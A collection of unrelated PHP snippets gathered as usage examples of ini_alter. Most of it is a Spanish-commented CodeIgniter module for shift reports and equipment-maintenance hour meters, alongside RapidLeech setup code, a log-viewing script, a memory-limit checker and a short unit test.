private static function augmenter_max_execution_time() { if ((int) ini_get('max_execution_time') < 30) { @ini_set('max_execution_time', 30); @ini_alter('max_execution_time', 30); } }
function obtener_fecha_informe_sgte($id_turno, $fecha_informe, $id_planta) { //echo 'fecha_informe'.$fecha_informe; if ($id_turno == 1) { //turno de noche ini_alter('date.timezone', 'America/Santiago'); $nueva_fecha_informe_turno = strtotime('+1 day', strtotime($fecha_informe)); $nueva_fecha_informe_turno = date('Y-m-d', $nueva_fecha_informe_turno); $nuevo_id_turno = 2; } elseif ($id_turno == 2) { //turno de dia $nueva_fecha_informe_turno = $fecha_informe; $nuevo_id_turno = 1; } else { return FALSE; } return array('id_turno_sgte' => $nuevo_id_turno, 'fecha_informe_sgte' => $nueva_fecha_informe_turno); //$this->obtener_informe_por_fecha_y_turno($fecha, $id_turno, $id_planta);//////////////////////////////////////// }
<?php // Juha's Hack. :-D ini_alter('date.timezone', 'Europe/Helsinki'); $today = date('Y-m-d'); $filename = "tmp/{$today}-dax.log"; if (isset($_GET['data'])) { $data = null; if ($_GET['data'] === 'short') { $data = shell_exec("tail -n301 {$filename}"); } else { if ($_GET['data'] === 'long') { $data = file_get_contents($filename); } } renderJson($data); } require_once 'long-n-short-charts.html'; die; function renderJson($output) { header('Content-Type: application/json'); echo json_encode(explode("\n", $output)); die; }
<?php ini_set('always_populate_raw_post_data', 1); \ini_get('asp_tags'); ini_alter('open_basedir', 3); ini_restore('user_dir'); \ini_get('jsp_tags'); $a->ini_restore('error_prepend_string'); A::ini_restore('always_populate_raw_post_data');
$id = 1; // A work of Chaza and TheOnly92! // Presents auto-upload script! // We define some constants here, essential for some parts in rapidleech define('RAPIDLEECH', 'yes'); define('HOST_DIR', 'hosts/'); define('IMAGE_DIR', 'images/'); define('CLASS_DIR', 'classes/'); define('CONFIG_DIR', 'configs/'); // Some configuration error_reporting(0); // This sets error reporting to none, which means no errors will be reported //ini_set('display_errors', 1); // This sets error reporting to all, all errors will be reported set_time_limit(0); // Removes the time limit, so it can upload as many as possible ini_alter("memory_limit", "1024M"); // Set memory limit, in case it runs out when processing large files ob_end_clean(); // Cleans any previous outputs ob_implicit_flush(TRUE); // Sets so that we can update the page without refreshing ignore_user_abort(1); // Continue executing the script even if the page was stopped or closed clearstatcache(); // Clear caches created by PHP require_once CONFIG_DIR . 'setup.php'; // Reads the configuration file, so we can pick up any accounts needed to use define('DOWNLOAD_DIR', substr($options['download_dir'], 0, 6) == "ftp://" ? '' : $options['download_dir']); // Set the download directory constant define('TEMPLATE_DIR', 'templates/' . $options['template_used'] . '/'); // Include other useful functions
<?php // This file must be included to work if (count(get_included_files()) == 1) { require 'deny.php'; exit; } @set_time_limit(0); ini_alter('memory_limit', '1024M'); if (ob_get_level()) { ob_end_clean(); } ob_implicit_flush(true); clearstatcache(); error_reporting(6135); $nn = "\r\n"; $fromaddr = 'RapidLeech'; $dev_name = 'Development Stage'; $rev_num = '43'; $plusrar_v = '4.1'; $PHP_SELF = $_SERVER['SCRIPT_NAME']; define('RAPIDLEECH', 'yes'); define('ROOT_DIR', realpath('./')); define('PATH_SPLITTER', strpos(ROOT_DIR, '\\') !== false ? '\\' : '/'); define('HOST_DIR', 'hosts/'); define('CLASS_DIR', 'classes/'); define('CONFIG_DIR', 'configs/'); define('BUILD', '30May2011'); define('CREDITS', '<a href="http://www.rapidleech.com/" class="rl-link"><b>RapidLeech</b></a> <b class="rev-dev">PlugMod (eqbal) rev. ' . $rev_num . '</b> <span class="rev-dev">' . $dev_name . '</span><br><small class="small-credits">Credits to Pramode & Checkmate & Kloon</small><br /><p class="rapidleechhost"><a href="http://www.rapidleechhost.com/aff.php?aff=001" target="_blank">RapidleechHost Offical Hosting</a></p>'); require_once CONFIG_DIR . 'setup.php'; // $options['download_dir'] should always end with a '/'
function validar_con_fecha_actual($str) { //date_default_timezone_get('America/Santiago'); ini_alter('date.timezone', 'America/Santiago'); $today = date("Y-m-d", time()); if ($str > $today) { $this->form_validation->set_message('validar_con_fecha_actual', 'no puede ingresar informes con fecha mayor a la actual'); return FALSE; } else { return TRUE; } }
function calcular_informe_a_ingresar($fecha_ultimo_informe, $id_turno) { if ($id_turno == 1) { //turno de noche ini_alter('date.timezone', 'America/Santiago'); $nueva_fecha_informe_turno = strtotime('+1 day', strtotime($fecha_ultimo_informe)); $nueva_fecha_informe_turno = date('Y-m-d', $nueva_fecha_informe_turno); return array($nueva_fecha_informe_turno, 2); } elseif ($id_turno == 2) { //turno de dia return array($fecha_ultimo_informe, 1); } else { return FALSE; } }
function ACTUALIZACION_registro_per_mantencion_sgte($id_periodo, $fecha_informe, $turno_informe, $hor_inicial_inf_no_modificado, $hor_final_inf_no_modificado, $hor_inicial_ant, $hor_final_ant, $hor_final_act, $id_tag_sec_o_subdiv, $tipo_tag, $id_tag_principal, $id_planta, $hor_actual_mantencion, $tiempo_por_mantencion, $cambio_hor_ini_inf) { echo "<br>ACTUALIZACION_registro_per_mantencion_sgte####==============================>>>>>><<<<<<<<==============<br>"; echo "<br>fecha_informe:"; var_dump($fecha_informe); echo "<br>turno_informe:"; var_dump($turno_informe); echo "<br>id_planta:"; var_dump($id_planta); echo "<br>hor_final_act:"; var_dump($hor_final_act); echo "<br>hor_actual_mantencion:"; var_dump($hor_actual_mantencion); echo "<br>tiempo_por_mantencion:"; var_dump($tiempo_por_mantencion); echo "<br>ACTUALIZACION_registro_per_mantencion_sgte FINNNNNNNN ##############################################<br>"; if (1) { //DATOS PLANTA// $DB_local = $this->load->database('default', TRUE); $DB_local->select(''); $DB_local->from('informe_turno'); $DB_local->join('planta', 'planta.id_planta=informe_turno.id_planta'); $DB_local->where('informe_turno.fecha_informe', $fecha_informe); $DB_local->where('informe_turno.id_turno', $turno_informe); $DB_local->where('informe_turno.id_planta', $id_planta); $DB_local->where('informe_turno.estado_informe', 1); $DB_local->limit(1); $sql_planta = $DB_local->get(); if ($sql_planta->num_rows() == 1) { foreach ($sql_planta->result() as $planta) { $fecha_ultimo_informe_planta = $planta->fecha_ultimo_informe; $turno_ultimo_informe_planta = $planta->id_ultimo_turno; $fecha_inicio_informe_planta = $planta->fecha_inicio_planta; $turno_inicio_informe_planta = $planta->id_turno_inicio_planta; $id_informe = $planta->id_informe; $DB_local->select(''); $DB_local->from('registro_periodos_mantencion_tag'); $DB_local->join('periodos_mantencion_tag', 'periodos_mantencion_tag.id_periodo_mantencion_tag=registro_periodos_mantencion_tag.id_periodo_mantencion'); $DB_local->where('registro_periodos_mantencion_tag.id_informe', $id_informe); $DB_local->where('periodos_mantencion_tag.id_periodo_mantencion_tag', $id_periodo); //$DB_local->limit(1); //DATOS INFORME y DATOS DE CAPA// $sql_reg_per_mantencion = $DB_local->get(); echo "<br>sql_reg_per_mantencion->result()<br>"; var_dump($sql_reg_per_mantencion->result()); if ($sql_reg_per_mantencion->num_rows() == 1) { $DB_local->select(''); $DB_local->from('horometro'); $DB_local->join('informe_turno', 'informe_turno.id_informe = horometro.id_informe'); $DB_local->where('horometro.id_informe', $id_informe); $DB_local->where('horometro.id_tag', $id_tag_principal); $DB_local->limit(1); $sql_horometro = $DB_local->get(); if ($sql_horometro->num_rows() != 1) { return FALSE; } else { foreach ($sql_horometro->result() as $horometro_informe) { $hor_final_inf = $horometro_informe->hor_final; $hor_inicial_inf = $horometro_informe->hor_inicial; /////////////////////// VALIDACION DE CAMBIO DE HOROMETRO INICIAL /////////////////////////////////////////////////// if (is_string($cambio_hor_ini_inf) && $cambio_hor_ini_inf == "cambio") { $cambio_hor_ini_inf = NULL; $limit_hor_final_act_inf = $hor_inicial_inf; } else { if ($hor_final_ant == $hor_inicial_inf) { //CONDICION INICIAL if (is_string($cambio_hor_ini_inf) && $cambio_hor_ini_inf == "sgte_inicial") { $limit_hor_final_act_inf = $hor_final_act; $cambio_hor_ini_inf = NULL; } else { //CONDICION SGTE $limit_hor_final_act_inf = $hor_final_ant; } } else { if ($hor_inicial_ant == $hor_inicial_inf && $hor_final_ant == NULL) { $limit_hor_final_act_inf = $hor_final_act; } else { $cambio_hor_ini_inf = "cambio"; $limit_hor_final_act_inf = $hor_inicial_inf; $hor_inicial_inf_no_modificado = $hor_inicial_inf; } } } ///////////////////////////////////////////////////////////////////////// $fecha_informe = $horometro_informe->fecha_informe; $turno_informe = $horometro_informe->id_turno; } //////////////////////Diferencia con subdivision//////////////////////////// //$id_informe=FALSE; foreach ($sql_reg_per_mantencion->result() as $reg_per_mant_inf) { $hor_mant = $reg_per_mant_inf->horometro_mantencion; $id_periodo_mantencion_tag = $reg_per_mant_inf->id_periodo_mantencion_tag; $id_registro_mant = $reg_per_mant_inf->id_registro_periodo; //SI ES EL ULTIMO ############################################################################################################## if ($fecha_informe == $fecha_ultimo_informe_planta && $turno_informe == $turno_ultimo_informe_planta) { //echo "<br>FLAG ULTIMOaaaaaaaaaaaaaa<br>:"; if ($hor_final_act == NULL) { if ($hor_final_inf == NULL) { echo "<br>// ---A M 5 A ---- //<br>"; // --- A M 5 A ---- ///////////////////////////////////////////////////////////////////////////////////////////// $validacion_mantencion_actualiz_horom = $this->actualizacion_per_mantencion_actualiz_horom($id_registro_mant, $hor_mant, NULL, $hor_inicial_inf_no_modificado, $fecha_informe, $turno_informe, $id_periodo_mantencion_tag, $id_planta, $fecha_inicio_informe_planta, $turno_inicio_informe_planta, $hor_actual_mantencion, $tiempo_por_mantencion, "ultimo_inf", $id_informe); //$validacion_engrase_actualiz_horom=$this->actualizacion_engrase_actualiz_horom($id_engrase, $hor_eng, NULL, $hor_inicial_inf_no_modificado, $fecha_informe, $turno_informe, $id_tag_sec_o_subdiv, $id_planta, $fecha_inicio_informe_planta, $turno_inicio_informe_planta, $hor_actual_engrase,$tiempo_horom_eng , "ultimo_inf",$id_informe); if ($validacion_mantencion_actualiz_horom != "ok") { return $validacion_mantencion_actualiz_horom; } return "Validado"; // --- A M 5 A ---- ///////////////////////////////////////////////////////////////////////////////////////////// } else { //654321 echo "<br>// --- A M 5 B ---- " . $hor_inicial_inf_no_modificado . "//<br>"; // --- A M 5 B ---- ///////////////////////////////////////////////////////////////////////////////////////////// $validacion_mantencion_actualiz_horom = $this->actualizacion_per_mantencion_actualiz_horom($id_registro_mant, $hor_mant, $hor_final_inf, $hor_inicial_inf_no_modificado, $fecha_informe, $turno_informe, $id_periodo_mantencion_tag, $id_planta, $fecha_inicio_informe_planta, $turno_inicio_informe_planta, $hor_actual_mantencion, $tiempo_por_mantencion, "ultimo_inf", $id_informe); //$validacion_engrase_actualiz_horom=$this->actualizacion_engrase_actualiz_horom($id_engrase,$hor_eng, $hor_final_inf,$hor_inicial_inf_no_modificado,$fecha_informe,$turno_informe,$id_tag_sec_o_subdiv,$id_planta,$fecha_inicio_informe_planta,$turno_inicio_informe_planta,$hor_actual_engrase,$tiempo_horom_eng,"ultimo_inf",$id_informe ); //echo "<br>FLAG hor_final_act NULL<br>: validacion_mantencion_actualiz_horom"; //var_dump($validacion_mantencion_actualiz_horom); if ($validacion_mantencion_actualiz_horom != "ok") { return $validacion_mantencion_actualiz_horom; } // --- A M 5 B ---- ///////////////////////////////////////////////////////////////////////////////////////////// return "Validado"; } } else { echo "<br>// --- A M 6 sgte ---- ACTUALIZACION// ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<br>"; echo "<br>id_registro_mant" . $id_registro_mant . "<br>"; // --- A M 6 sgte ---- //////////////////////////////////// $validacion_mantencion_actualiz_horom = $this->actualizacion_per_mantencion_actualiz_horom($id_registro_mant, $hor_mant, $hor_final_inf, $limit_hor_final_act_inf, $fecha_informe, $turno_informe, $id_periodo_mantencion_tag, $id_planta, $fecha_inicio_informe_planta, $turno_inicio_informe_planta, $hor_actual_mantencion, $tiempo_por_mantencion, "ultimo_inf", $id_informe); //$validacion_engrase_actualiz_horom=$this->actualizacion_engrase_actualiz_horom($id_engrase,$hor_eng, $hor_final_inf,$limit_hor_final_act_inf,$fecha_informe,$turno_informe,$id_tag_sec_o_subdiv,$id_planta,$fecha_inicio_informe_planta,$turno_inicio_informe_planta,$hor_actual_engrase,$tiempo_horom_eng,"ultimo_inf",$id_informe); if ($validacion_mantencion_actualiz_horom != "ok") { return $validacion_mantencion_actualiz_horom; } return "Validado"; // --- A M 6 sgte ---- /////////////////////////////////////////////////////////////////////////////// } } else { // SI NO ES EL ULTIMO INFORME; if ($turno_informe == 1) { $turno_informe_sgte = 2; ini_alter('date.timezone', 'America/Santiago'); $fecha_sgte_informe = strtotime('+1 day', strtotime($fecha_informe)); $fecha_informe_sgte = date('Y-m-d', $fecha_sgte_informe); } elseif ($turno_informe == 2) { $turno_informe_sgte = 1; $fecha_informe_sgte = $fecha_informe; } else { return FALSE; } //34567 if ($hor_final_inf == NULL) { // --- A M 7 sgte ACTUALIZACION ---- //////////////////////////////////////// $validacion_mantencion_actualiz_horom = $this->actualizacion_per_mantencion_actualiz_horom($id_registro_mant, $hor_mant, NULL, $hor_inicial_inf, $fecha_informe, $turno_informe, $id_periodo_mantencion_tag, $id_planta, $fecha_inicio_informe_planta, $turno_inicio_informe_planta, $hor_actual_mantencion, $tiempo_por_mantencion, NULL, $id_informe); if ($validacion_mantencion_actualiz_horom != "ok") { return $validacion_mantencion_actualiz_horom; } $validacion_mantencion_con_mismo_sgte = $this->ACTUALIZACION_registro_per_mantencion_sgte($id_periodo, $fecha_informe_sgte, $turno_informe_sgte, $hor_inicial_inf_no_modificado, $hor_final_inf_no_modificado, $hor_inicial_inf, $hor_final_inf, $hor_final_act, $id_tag_sec_o_subdiv, $tipo_tag, $id_tag_principal, $id_planta, $hor_actual_mantencion, $tiempo_por_mantencion, $cambio_hor_ini_inf); //$validacion_engrase_con_mismo_sgte=$this->ACTUALIZACION_engrase_con_mismo_sgte_subdivision($fecha_informe_sgte,$turno_informe_sgte,$hor_inicial_inf_no_modificado,$hor_final_inf_no_modificado,$hor_inicial_inf,$hor_final_inf ,$hor_final_act, $id_tag_sec_o_subdiv, $tipo_tag,$id_tag_principal,$id_planta,$hor_actual_engrase,$tiempo_horom_eng,$cambio_hor_ini_inf); if ($validacion_mantencion_con_mismo_sgte == "Validado") { return "Validado"; } else { return $validacion_mantencion_con_mismo_sgte; } // --- A M 7 sgte ACTUALIZACION ---- ///////////////////////////////////////// } else { if ($hor_final_act == NULL) { // --- A M 8 sgte ACTUALIZACION ----/////////////////////////////////////////////////////////////////////////// $validacion_mantencion_actualiz_horom = $this->actualizacion_per_mantencion_actualiz_horom($id_registro_mant, $hor_mant, $hor_final_inf, $hor_inicial_inf_no_modificado, $fecha_informe, $turno_informe, $id_periodo_mantencion_tag, $id_planta, $fecha_inicio_informe_planta, $turno_inicio_informe_planta, $hor_actual_mantencion, $tiempo_por_mantencion, NULL, $id_informe); //$validacion_engrase_actualiz_horom=$this->actualizacion_engrase_actualiz_horom($id_engrase,$hor_eng, $hor_final_inf,$hor_inicial_inf_no_modificado,$fecha_informe,$turno_informe,$id_tag_sec_o_subdiv,$id_planta,$fecha_inicio_informe_planta,$turno_inicio_informe_planta,$hor_actual_engrase,$tiempo_horom_eng,NULL,$id_informe); if ($validacion_mantencion_actualiz_horom != "ok") { return $validacion_mantencion_actualiz_horom; } return "Validado"; // --- A M 8 sgte ACTUALIZACION --- ////////////////////////////////////////////////////////////////////////////////////// } else { // --- A M 9 sgte ACTUALIZACION ----//////////////////////////////////////////////////////////////////////////////// $validacion_mantencion_actualiz_horom = $this->actualizacion_per_mantencion_actualiz_horom($id_registro_mant, $hor_mant, $hor_final_inf, $limit_hor_final_act_inf, $fecha_informe, $turno_informe, $id_periodo_mantencion_tag, $id_planta, $fecha_inicio_informe_planta, $turno_inicio_informe_planta, $hor_actual_mantencion, $tiempo_por_mantencion, NULL, $id_informe); //$validacion_engrase_actualiz_horom=$this->actualizacion_engrase_actualiz_horom($id_engrase,$hor_eng, $hor_final_inf,$limit_hor_final_act_inf,$fecha_informe,$turno_informe,$id_tag_sec_o_subdiv,$id_planta,$fecha_inicio_informe_planta,$turno_inicio_informe_planta,$hor_actual_engrase,$tiempo_horom_eng,NULL,$id_informe); if ($validacion_mantencion_actualiz_horom != "ok") { return $validacion_mantencion_actualiz_horom; } if ($hor_final_inf != NULL) { $hor_actual_mantencion = round($hor_actual_mantencion + $hor_final_inf - $limit_hor_final_act_inf, 2); } $validacion_mantencion_con_mismo_sgte = $this->ACTUALIZACION_registro_per_mantencion_sgte($id_periodo, $fecha_informe_sgte, $turno_informe_sgte, $hor_inicial_inf_no_modificado, $hor_final_inf_no_modificado, $hor_inicial_inf, $hor_final_inf, $hor_final_act, $id_tag_sec_o_subdiv, $tipo_tag, $id_tag_principal, $id_planta, $hor_actual_mantencion, $tiempo_por_mantencion, $cambio_hor_ini_inf); if ($validacion_mantencion_con_mismo_sgte == "Validado") { return "Validado"; } else { return $validacion_mantencion_con_mismo_sgte; } // --- A M 9 sgte ACTUALIZACION --- ////////////////////////////////////////////////////////////////////////////////////// } } } } } } else { //SI NO HAY HOROMETROS PARA EL TAG return FALSE; } } //DATOS PLANTA } else { return FALSE; } } }
function obtener_rango_generado_con_informe_anterior_mantenciones_tag($hor_final, $hor_inicial, $id_tag, $id_tag_principal, $id_periodo_mantencion_tag, $id_informe, $id_planta) { //rango{"hor_inicial"=>,"hor_final"=>},engrase{"id_tag"=>,"id_informe"=>,"horometro_engrase"=>,"horometro_actual_engrase"=>} //echo "EQUIPO: ".$engrase["nombre_tag"]."<br>"; $DB_local = $this->load->database('default', TRUE); $DB_local->select(''); $DB_local->from('informe_turno'); $DB_local->where('id_informe', $id_informe); $DB_local->limit(1); $sql_informe = $DB_local->get(); if ($sql_informe->num_rows() == 1) { foreach ($sql_informe->result() as $informe_actual) { $informe = $informe_actual; ///////////////////////////////////////////////////////////////// $string_tag = $informe_actual->tag_presentes; $array_tag = explode('-', $string_tag); if (in_array($id_tag, $array_tag)) { $DB_local->select(''); $DB_local->from('registro_periodos_mantencion_tag'); $DB_local->where('id_informe', $id_informe); $DB_local->where('id_periodo_mantencion', $id_periodo_mantencion_tag); $DB_local->limit(1); $sql_registro_periodo_actual = $DB_local->get(); if ($sql_registro_periodo_actual->num_rows() == 1) { foreach ($sql_registro_periodo_actual->result() as $reg_per_actual) { $registro_per_actual = $reg_per_actual; } } else { return FALSE; } } else { return FALSE; } ///////////////////////////////////////////////////////////////// } } else { //echo "flag 1<br>"; return FALSE; } ini_alter('date.timezone', 'America/Santiago'); if ($informe->id_turno == 1) { $turno = 2; $turno_sgte = 2; $fecha_informe_anterior = $informe->fecha_informe; $str_inf_sgte = strtotime('+1 day', strtotime($informe->fecha_informe)); $fecha_inf_sgte = date('Y-m-d', $str_inf_sgte); } elseif ($informe->id_turno == 2) { $turno = 1; $turno_sgte = 1; $fecha_anterior_informe = strtotime('-1 day', strtotime($informe->fecha_informe)); $fecha_informe_anterior = date('Y-m-d', $fecha_anterior_informe); $fecha_inf_sgte = $informe->fecha_informe; } else { //echo "flag 2<br>"; return FALSE; } //busco los datos del periodo $DB_local->select(''); $DB_local->from('periodos_mantencion_tag'); $DB_local->where('id_periodo_mantencion_tag', $id_periodo_mantencion_tag); $DB_local->limit(1); $sql_periodo_mantencion = $DB_local->get(); if ($sql_periodo_mantencion->num_rows() == 1) { foreach ($sql_periodo_mantencion->result() as $periodo_mantencion) { $tiempo_mantencion = $periodo_mantencion->tiempo_mantencion; $tiempo_mantencion_inicial = $periodo_mantencion->tiempo_horometro_inicial; } } else { //echo "ban 1<br>"; return FALSE; } $total_horometro_rango_superior_mantencion = $this->generar_horometro_mantencion_mantencion_superior($id_tag_principal, $id_informe, $registro_per_actual->tiempo_periodo_actual, $id_periodo_mantencion_tag, $id_tag, $tiempo_mantencion); if ($total_horometro_rango_superior_mantencion == FALSE) { return FALSE; } else { if ($total_horometro_rango_superior_mantencion >= $tiempo_mantencion) { $hor_final_candidato = round($hor_inicial + $total_horometro_rango_superior_mantencion - $tiempo_mantencion, 2); if ($hor_final_candidato > $hor_final) { $hor_final_new_rango = $hor_final; } else { $hor_final_new_rango = $hor_final_candidato; } } else { return FALSE; } } $DB_local->select(''); $DB_local->from('informe_turno'); $DB_local->where('fecha_informe', $fecha_informe_anterior); $DB_local->where('id_turno', $turno); $DB_local->where('id_planta', $id_planta); $DB_local->where('estado_informe', 1); $DB_local->limit(1); $sql_informe = $DB_local->get(); if ($sql_informe->num_rows() == 1) { foreach ($sql_informe->result() as $informe_anterior) { $string_tag = $informe->tag_presentes; $array_tag = explode('-', $string_tag); if (in_array($id_tag, $array_tag)) { $DB_local->select(''); $DB_local->from('registro_periodos_mantencion_tag'); $DB_local->where('id_informe', $informe_anterior->id_informe); $DB_local->where('id_periodo_mantencion', $id_periodo_mantencion_tag); $DB_local->limit(1); $sql_registro_periodo = $DB_local->get(); if ($sql_registro_periodo->num_rows() == 1) { foreach ($sql_registro_periodo->result() as $registro_periodo_anterior) { if (round($registro_periodo_anterior->tiempo_periodo_actual + $hor_final - $hor_inicial, 2) >= $tiempo_mantencion) { if ($registro_periodo_anterior->tiempo_periodo_actual > $tiempo_mantencion) { $horometro_inicial = $hor_inicial; } else { $horometro_inicial = $hor_inicial + $tiempo_mantencion - $registro_periodo_anterior->tiempo_periodo_actual; } return array("hor_final" => $hor_final_new_rango, "hor_inicial" => $horometro_inicial); } else { //echo "FALE :line 2955 <br>".$registro_periodo_anterior->tiempo_periodo_actual." -- ".$hor_final." -- ".$hor_inicial." --<br>".round($registro_periodo_anterior->tiempo_periodo_actual+ $hor_final - $hor_inicial,2 )."<br>"; return -1; ////no va el periodo de mantencion } } } else { //SI EL REGISTRO NO ESTABA PORQUE NO HABIA SIDO INGRESADO EL PERIODO EN ESA FECHA if ($tiempo_mantencion_inicial + $hor_final - $hor_inicial >= $tiempo_mantencion) { if ($tiempo_mantencion_inicial > $tiempo_mantencion) { $horometro_inicial = $hor_inicial; } else { $horometro_inicial = $hor_inicial + $tiempo_mantencion - $tiempo_mantencion_inicial; } // echo "ban 5<br>"; return array("hor_final" => $hor_final_new_rango, "hor_inicial" => $horometro_inicial); } else { // echo "ban t2<br>"; return -1; ////no va el periodo de mantencion } } } else { return -1; //significa que no estaba presente antes } } } else { ////SI NO SE ENCONTRO EL INFORME ANTERIOR $DB_local->select(''); $DB_local->from('planta'); $DB_local->where('id_planta', $id_planta); $DB_local->limit(1); $sql_planta = $DB_local->get(); if ($sql_planta->num_rows() == 1) { foreach ($sql_planta->result() as $planta) { if ($planta->id_turno_inicio_planta == 1) { $turno_informe_sgte = 2; ini_alter('date.timezone', 'America/Santiago'); $fecha_sgte_informe = strtotime('+1 day', strtotime($planta->fecha_inicio_planta)); $fecha_informe_sgte = date('Y-m-d', $fecha_sgte_informe); } elseif ($planta->id_turno_inicio_planta == 2) { $turno_informe_sgte = 1; $fecha_informe_sgte = $planta->fecha_inicio_planta; } else { return FALSE; } //VERIFICO SI EL INFORME INGRESO EN LA FUNCION ES EL PRIMER INFORME DE LA PLANTA if ($fecha_informe_sgte == $informe->fecha_informe && $turno_informe_sgte == $informe->id_turno) { /////////////////////////////////////////////////// if ($tiempo_mantencion_inicial + $hor_final - $hor_inicial >= $tiempo_mantencion) { if ($tiempo_mantencion_inicial > $tiempo_mantencion) { $horometro_inicial = $hor_inicial; } else { $horometro_inicial = $hor_inicial + $tiempo_mantencion - $tiempo_mantencion_inicial; } //echo "ban 5<br>"; return array("hor_final" => $hor_final_new_rango, "hor_inicial" => $horometro_inicial); } else { //echo "ban t2<br>"; return -1; ////no va el periodo de mantencion } } else { //SI NO ES EL PRIMER INFORME DE LA PLANTA Y EL INFORME ANTERIOR NO SE ENCONTRO return FALSE; } } } else { return FALSE; } } }
function obtener_tiempo_horometro_periodo_anterior($fecha_informe, $turno_informe, $primera_fecha_informe_planta, $primer_turno_planta, $id_periodo_mantencion_maquinaria, $id_planta) { $DB_local = $this->load->database('default', TRUE); if ($fecha_informe == $primera_fecha_informe_planta && $turno_informe == $primer_turno_planta) { //es el primer informe $DB_local->select(''); $DB_local->from('periodos_mantencion_maquinaria'); $DB_local->where('id_periodo_mantencion_maquinaria', $id_periodo_mantencion_maquinaria); $DB_local->limit(1); $sql_periodo = $DB_local->get(); if ($sql_periodo->num_rows() == 1) { foreach ($sql_periodo->result() as $periodo_mantencion_maquinaria) { return $periodo_mantencion_maquinaria->tiempo_horometro_inicial; } } else { return FALSE; } } else { //si no es el primero if ($turno_informe == 1) { $turno_informe_anterior = 2; $fecha_informe_anterior = $fecha_informe; } elseif ($turno_informe == 2) { $turno_informe_anterior = 1; ini_alter('date.timezone', 'America/Santiago'); $fecha_anterior_informe = strtotime('-1 day', strtotime($fecha_informe)); $fecha_informe_anterior = date('Y-m-d', $fecha_anterior_informe); } else { return FALSE; } $DB_local->select(''); $DB_local->from('informe_turno'); $DB_local->where('fecha_informe', $fecha_informe_anterior); $DB_local->where('id_turno', $turno_informe_anterior); $DB_local->where('id_planta', $id_planta); $DB_local->limit(1); $sql_informe_anterior = $DB_local->get(); if ($sql_informe_anterior->num_rows() == 1) { foreach ($sql_informe_anterior->result() as $informe_anterior) { $id_informe_anterior = $informe_anterior->id_informe; } } else { //si no existe el informe return FALSE; } $DB_local->select(''); $DB_local->from('registro_periodos_mantencion_maquinaria'); $DB_local->where('id_informe', $id_informe_anterior); $DB_local->where('id_periodo_mantencion_maquinaria', $id_periodo_mantencion_maquinaria); $DB_local->limit(1); $sql_registro = $DB_local->get(); if ($sql_registro->num_rows() == 1) { foreach ($sql_registro->result() as $registro_informe_anterior) { return $registro_informe_anterior->tiempo_periodo_actual; } } else { $DB_local->select(''); $DB_local->from('periodos_mantencion_maquinaria'); $DB_local->where('id_periodo_mantencion_maquinaria', $id_periodo_mantencion_maquinaria); $DB_local->limit(1); $sql_periodo = $DB_local->get(); if ($sql_periodo->num_rows() == 1) { foreach ($sql_periodo->result() as $periodo_mantencion_maquinaria) { return $periodo_mantencion_maquinaria->tiempo_horometro_inicial; } } else { return FALSE; } } } }
function dias_de_una_fecha($date) { ini_alter('date.timezone', 'America/Santiago'); $year = date("Y", strtotime($date)); $month = date("m", strtotime($date)); $numero = cal_days_in_month(CAL_GREGORIAN, $month, $year); return $numero; }
/** * ini_set_memory_limit * Teste s'il est autorisé d'augmenter la mémoire allouée au script. * Voir http://www.php.net/manual/fr/ini.core.php#ini.memory-limit * Cette directive peut être interdite dans la conf PHP ou via Suhosin (http://www.hardened-php.net/suhosin/configuration.html#suhosin.memory_limit) * * @param void * @return string */ function ini_set_memory_limit() { $valeur_avant = (int)ini_get('memory_limit'); if($valeur_avant==-1) return '<td class="hc">---</td>'; $valeur_nouvelle = $valeur_avant*2; @ini_set('memory_limit',$valeur_nouvelle.'M'); @ini_alter('memory_limit',$valeur_nouvelle.'M'); $valeur_apres = (int)ini_get('memory_limit'); return ($valeur_apres==$valeur_avant) ? '<td class="hc" style="background:#F99">Off</td>' : '<td class="hc" style="background:#9F9">On</td>' ; }
function obtener_horometro_actual_engrase_informe_anterior($planta, $informe, $id_tag_de_engrase) { $DB_local = $this->load->database('default', TRUE); if ($informe->id_turno == 1) { $turno_informe_anterior = 2; $fecha_informe_anterior = $informe->fecha_informe; } elseif ($informe->id_turno == 2) { $turno_informe_anterior = 1; ini_alter('date.timezone', 'America/Santiago'); $fecha_ant_informe = strtotime('-1 day', strtotime($informe->fecha_informe)); $fecha_informe_anterior = date('Y-m-d', $fecha_ant_informe); } else { return -1; } $DB_local->select(''); $DB_local->from('informe_turno'); $DB_local->where('fecha_informe', $fecha_informe_anterior); $DB_local->where('id_turno', $turno_informe_anterior); $DB_local->where('id_planta', $planta->id_planta); $DB_local->where('estado_informe', 1); $DB_local->limit(1); $sql_inf_ant = $DB_local->get(); if ($sql_inf_ant->num_rows() == 1) { foreach ($sql_inf_ant->result() as $informe_anterior) { $string_tag = $informe_anterior->tag_presentes; // echo "<br>INFORME ANTERIOR :".$informe_anterior->id_informe; $array_tag = explode('-', $string_tag); if (in_array($id_tag_de_engrase, $array_tag)) { $DB_local->select(''); $DB_local->from('engrase_tag'); $DB_local->where('id_informe', $informe_anterior->id_informe); $DB_local->where('id_tag', $id_tag_de_engrase); $DB_local->limit(1); $sql_engrase = $DB_local->get(); if ($sql_engrase->num_rows() == 1) { foreach ($sql_engrase->result() as $engrase_anterior) { return $engrase_anterior->horometro_actual_engrase; } } else { return -1; } } else { return 0; } } } else { //el informe es el primero de la planta if ($planta->id_turno_inicio_planta == 1) { $turno_inicio_informe_planta = 2; ini_alter('date.timezone', 'America/Santiago'); $fecha_inicio_informe = strtotime('+1 day', strtotime($planta->fecha_inicio_planta)); $fecha_inicio_informe_planta = date('Y-m-d', $fecha_inicio_informe); } elseif ($planta->id_turno_inicio_planta == 2) { $turno_inicio_informe_planta = 1; $fecha_inicio_informe_planta = $planta->fecha_inicio_planta; } else { return FALSE; } if ($informe->fecha_informe == $fecha_inicio_informe_planta && $informe->id_turno == $turno_inicio_informe_planta) { return 0; } else { return -1; } } }
public function testIniAlter() { ini_alter("mbstring.http_input", "pass"); }
